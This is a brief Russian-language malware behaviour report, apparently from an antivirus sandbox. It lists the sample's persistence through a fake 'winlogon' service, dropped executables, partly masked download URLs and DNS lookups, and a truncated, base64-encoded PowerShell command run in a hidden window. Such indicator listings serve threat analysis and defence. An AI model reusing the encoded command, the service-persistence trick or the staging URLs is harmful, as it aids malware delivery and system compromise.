Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\winlogon] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\winlogon] 'ImagePath' = '"<SYSTEM32>\cryptdlg\winlogon.exe"'
- 'winlogon' "<SYSTEM32>\cryptdlg\winlogon.exe"
- 'winlogon' <SYSTEM32>\cryptdlg\winlogon.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwAD...
- %TEMP%\word\2019\zlcoy_4.exe
- <SYSTEM32>\cryptdlg\winlogon.exe
- %TEMP%\word\2019\zlcoy_4.exe в <SYSTEM32>\cryptdlg\winlogon.exe
- '17#.#1.218.65':80
- http://ca###oomz.com/wp-includes/rPG/
- http://ca###oomz.com/cgi-sys/suspendedpage.cgi
- http://ne###ekulac.com/wp-content/dTl4ul/
- http://17#.#1.218.65/MDjz/r5dCiy5DCN5HolHDOo/VQcTO4dpiV07hsB/2EOBh54YQHQg7M3XJ/K4LEgEu97dlia9pj5IV/
- DNS ASK ca###oomz.com
- DNS ASK ne###ekulac.com
- '%TEMP%\word\2019\zlcoy_4.exe'
- '<SYSTEM32>\cryptdlg\winlogon.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwAD...' (со скрытым окном)